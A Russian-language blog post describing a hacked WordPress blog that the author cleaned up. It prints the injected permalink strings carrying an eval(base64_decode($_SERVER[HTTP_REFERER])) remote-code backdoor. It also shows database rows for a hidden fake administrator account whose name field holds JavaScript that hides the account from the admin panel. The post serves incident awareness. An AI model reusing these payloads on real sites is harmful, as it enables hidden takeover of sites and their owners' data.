Ахтунг! Атаки на WordPress блоги

Столкнулся позавчера с одним «глюком» при настройке клиентского блога — криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
wp-ahtung
Phpmyadmin выдает при этом примерно такое:

Lost connection to MySQL server during query

и не отвечает сервер минут 50 после этого…

Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:

%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):

(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n          var t=document.getElementById("user_superuser");\n              while(t.nodeName!="TR"){\n                      t=t.parentNode;\n               };\n            t.parentNode.removeChild(t);\n          var tags = document.getElementsByTagName("H3");\n               var s = " shown below";\n               for (var i = 0; i < tags.length; i++) {\n                       var t=tags[i].innerHTML;\n                      var h=tags[i];\n                        if(t.indexOf(s)>0){\n                           s =(parseInt(t)-1)+s;\n                         h.removeChild(h.firstChild);\n                          t = document.createTextNode(s);\n                               h.appendChild(t);\n                     }\n             }\n             var arr=document.getElementsByTagName("ul");\n          for(var i in arr) if(arr[i].className=="subsubsub"){\n                  var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n                      if(n[1]>0){\n                           var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n        arr[i].innerHTML=txt;\n        }\n    }\n          }catch(e){};\n     };\n     addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');

вот этот поддельный администратор "хакер"

(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');

Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко тут

так что обновляйтесь регулярно :-)

28 комментариев